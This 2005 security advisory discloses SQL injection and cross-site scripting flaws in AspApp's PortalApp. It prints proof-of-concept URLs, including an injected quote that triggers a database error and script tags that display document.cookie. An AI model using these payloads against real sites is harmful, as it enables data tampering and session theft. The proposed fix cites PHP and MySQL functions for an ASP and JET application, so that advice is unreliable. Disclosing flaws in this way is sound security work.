Dcrab 's Security Advisory http://icis.digitalparadox.org/~dcrab http://www.hackerscenter.com/ Severity: Medium Title: Multiple sql injection, and xss vulnerabilities in PortalApp. Date: March 30, 2005 Vendor: AspApp Vendor site: http://www.aspapp.com Summary: There are multiple sql injection, xss vulnerabilities in the PortalApp. Proof of Concept Exploits: http://localhost/ad_click.asp?banner_id='SQL_INJECTION Microsoft JET Database Engine error '80040e14' Syntax error in string in query expression 'banner_id = 'SQL_INJECTION'. /ad_click.asp, line 14 http://localhost/content.asp?contenttype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E Pops cookie http://localhost/content.asp?do_search=1&keywords='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E Pops cookie Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems. Author: These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout for my soon to come out book on Secure coding with php.
